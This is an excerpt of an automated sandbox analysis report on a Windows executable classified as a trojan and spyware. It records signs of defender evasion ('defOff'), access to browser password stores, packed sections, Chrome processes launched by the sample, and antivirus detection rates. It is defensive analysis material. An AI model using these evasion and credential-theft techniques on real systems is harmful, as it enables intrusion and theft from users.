Source: CAo57G5Cio.exe, 00000000.00000003.1610614137.0000000005DFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1598503320.0000000005FC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1623891237.0000000005F44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1600318640.0000000005DF7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1593863145.0000000005E9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1597546062.0000000005DFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1599109107.0000000005E03000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1610078443.0000000005F16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000002.1718686342.00000000060AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1596334129.0000000005DFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1599474835.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1598747590.0000000005EF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1598108474.0000000005EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1603409000.000000000600E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1594154643.0000000005F45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1598631735.0000000005E02000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1602109986.0000000005F14000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1596026575.0000000005E00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1598867994.0000000005E00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1597412577.0000000005ECD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1599246590.0000000005EEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1597950426.0000000005E05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1625461899.0000000005E03000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1597149418.0000000005F88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1611151147.0000000006043000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1591837061.0000000005C7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1622803587.0000000005F40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1593678189.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1611356250.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1592211901.000000000584A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1590060039.0000000005C7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1600057763.0000000005EE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1596776802.0000000005ED5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1612070711.0000000005DF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1598373869.0000000005EE0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1593472794.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1604365655.0000000005F0D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1591959797.000000000584E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1600590292.0000000005FED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1605636495.0000000005BF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1595698280.0000000005DF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1597822243.0000000005FA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1595806303.0000000005EA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1614160000.0000000005E02000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1593957252.0000000005DFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1594852240.0000000005EB0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1605721703.0000000005A06000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1610938361.0000000005F1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1596450975.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1603635709.0000000005E02000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1590060039.0000000005C36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1596892484.0000000005DF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1611568682.0000000005F18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1604816275.0000000005F14000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1595914705.0000000005F5C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1592335797.0000000005E00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1594753292.0000000005DFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1609084003.0000000005E05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1594056010.0000000005EA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1599370584.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1602728479.0000000005DF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1617757393.0000000005DF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1611821263.000000000603D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1605292099.0000000005E01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1594549708.0000000005E97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1597010495.0000000005EB7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1613324388.0000000005F2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1596139623.0000000005EB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1595580683.0000000005F61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1593771867.0000000005E01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1597285485.0000000005E01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1596568043.0000000005F85000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe

Source: CAo57G5Cio.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: CAo57G5Cio.exe

Static PE information: Section: ZLIB complexity 0.9994893790849673

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/64@9/5

Source: C:\Users\user\Desktop\CAo57G5Cio.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: CAo57G5Cio.exe, 00000000.00000003.1354947133.0000000005A1A000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1355333715.00000000059FE000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1381816109.0000000005A14000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: CAo57G5Cio.exe	Virustotal: Detection: 58%
Source: CAo57G5Cio.exe	ReversingLabs: Detection: 63%

Source: CAo57G5Cio.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: CAo57G5Cio.exe	String found in binary or memory: RtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNe

Source: C:\Users\user\Desktop\CAo57G5Cio.exe

File read: C:\Users\user\Desktop\CAo57G5Cio.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\CAo57G5Cio.exe "C:\Users\user\Desktop\CAo57G5Cio.exe"
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=CAo57G5Cio.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=2100,i,16958849523531625039,1048488726275612115,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=CAo57G5Cio.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2020 --field-trial-handle=1912,i,13727675206218175945,3537329276965125636,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=CAo57G5Cio.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=CAo57G5Cio.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=2100,i,16958849523531625039,1048488726275612115,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2020 --field-trial-handle=1912,i,13727675206218175945,3537329276965125636,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: CAo57G5Cio.exe

Static file information: File size 2968576 > 1048576

Source: CAo57G5Cio.exe

Static PE information: Raw size of twafezbg is bigger than: 0x100000 < 0x2ab000

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: CAo57G5Cio.exe, 00000000.00000002.1719068314.0000000006352000.00000040.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\CAo57G5Cio.exe

Unpacked PE file: 0.2.CAo57G5Cio.exe.d70000.0.unpack :EW;.rsrc :W;.idata :W;twafezbg:EW;ovspglhy:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;twafezbg:EW;ovspglhy:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: CAo57G5Cio.exe

Static PE information: real checksum: 0x2dd028 should be: 0x2e0458

Source: CAo57G5Cio.exe	Static PE information: section name:
Source: CAo57G5Cio.exe	Static PE information: section name: .rsrc
Source: CAo57G5Cio.exe	Static PE information: section name: .idata
Source: CAo57G5Cio.exe	Static PE information: section name: twafezbg
Source: CAo57G5Cio.exe	Static PE information: section name: ovspglhy
Source: CAo57G5Cio.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132E003 push ecx; ret	0_3_0132E052
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132E003 push ecx; retf	0_3_0132E092
